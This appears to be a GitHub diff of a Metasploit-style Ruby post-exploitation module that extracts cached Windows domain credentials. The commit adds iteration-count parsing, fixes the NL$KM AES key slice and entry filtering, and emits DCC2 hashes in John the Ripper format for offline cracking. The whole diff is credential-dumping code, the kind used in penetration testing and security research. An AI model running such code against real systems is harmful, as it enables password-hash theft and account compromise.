@@ -64,6 +64,15 @@ def parse_decrypted_cache(dec_data, s)
64
64
vprint_good "Username\t \t : #{ username } "
65
65
vprint_good "Hash\t \t : #{ hash . unpack ( "H*" ) [ 0 ] } "
66
66
67
+ if lsa_vista_style?
68
+ if ( s . iterationCount > 10240 )
69
+ iterationCount = s . iterationCount & 0xfffffc00
70
+ else
71
+ iterationCount = s . iterationCount * 1024
72
+ end
73
+ vprint_good "Iteration count\t : #{ s . iterationCount } -> real #{ iterationCount } "
74
+ end
75
+
67
76
last = Time . at ( s . lastAccess )
68
77
vprint_good "Last login\t \t : #{ last . strftime ( "%F %T" ) } "
69
78
@@ -152,6 +161,7 @@ def parse_decrypted_cache(dec_data, s)
152
161
[
153
162
username ,
154
163
hash . unpack ( "H*" ) [ 0 ] ,
164
+ iterationCount ,
155
165
logonDomainName ,
156
166
dnsDomainName ,
157
167
last . strftime ( "%F %T" ) ,
@@ -168,7 +178,7 @@ def parse_decrypted_cache(dec_data, s)
168
178
169
179
vprint_good "----------------------------------------------------------------------"
170
180
if lsa_vista_style?
171
- return "#{ username . downcase } :$DCC2$##{ username . downcase } ##{ hash . unpack ( "H*" ) [ 0 ] } :#{ dnsDomainName } :#{ logonDomainName } \n "
181
+ return "#{ username . downcase } :$DCC2$#{ iterationCount } # #{ username . downcase } ##{ hash . unpack ( "H*" ) [ 0 ] } :#{ dnsDomainName } :#{ logonDomainName } \n "
172
182
else
173
183
return "#{ username . downcase } :M$#{ username . downcase } ##{ hash . unpack ( "H*" ) [ 0 ] } :#{ dnsDomainName } :#{ logonDomainName } \n "
174
184
end
@@ -195,6 +205,7 @@ def parse_cache_entry(cache_data)
195
205
:revision ,
196
206
:sidCount ,
197
207
:valid ,
208
+ :iterationCount ,
198
209
:sifLength ,
199
210
:logonPackage ,
200
211
:dnsDomainNameLength ,
@@ -228,7 +239,8 @@ def parse_cache_entry(cache_data)
228
239
229
240
s . revision = cache_data [ 40 , 4 ] . unpack ( "V" ) [ 0 ]
230
241
s . sidCount = cache_data [ 44 , 4 ] . unpack ( "V" ) [ 0 ]
231
- s . valid = cache_data [ 48 , 4 ] . unpack ( "V" ) [ 0 ]
242
+ s . valid = cache_data [ 48 , 2 ] . unpack ( "v" ) [ 0 ]
243
+ s . iterationCount = cache_data [ 50 , 2 ] . unpack ( "v" ) [ 0 ]
232
244
s . sifLength = cache_data [ 52 , 4 ] . unpack ( "V" ) [ 0 ]
233
245
234
246
s . logonPackage = cache_data [ 56 , 4 ] . unpack ( "V" ) [ 0 ]
@@ -253,7 +265,7 @@ def decrypt_hash(edata, nlkm, ch)
253
265
254
266
def decrypt_hash_vista ( edata , nlkm , ch )
255
267
aes = OpenSSL ::Cipher . new ( 'aes-128-cbc' )
256
- aes . key = nlkm [ 16 ...- 1 ]
268
+ aes . key = nlkm [ 16 ...32 ]
257
269
aes . padding = 0
258
270
aes . decrypt
259
271
aes . iv = ch
@@ -275,6 +287,7 @@ def run
275
287
[
276
288
"Username" ,
277
289
"Hash" ,
290
+ "Hash iteration count" ,
278
291
"Logon Domain Name" ,
279
292
"DNS Domain Name" ,
280
293
"Last Login" ,
@@ -319,7 +332,7 @@ def run
319
332
320
333
vprint_status ( "Lsa Key: #{ lsakey . unpack ( "H*" ) [ 0 ] } " )
321
334
322
- print_status ( "Obtaining LK $KM..." )
335
+ print_status ( "Obtaining NL $KM..." )
323
336
nlkm = capture_nlkm ( lsakey )
324
337
vprint_status ( "NL$KM: #{ nlkm . unpack ( "H*" ) [ 0 ] } " )
325
338
@@ -329,7 +342,7 @@ def run
329
342
john = ""
330
343
331
344
ok . enum_value . each do |usr |
332
- if ( "NL$Control" == usr . name ) then
345
+ if ( ! usr . name . match ( /^NL \$ \d +$/ ) ) then
333
346
next
334
347
end
335
348
0 commit comments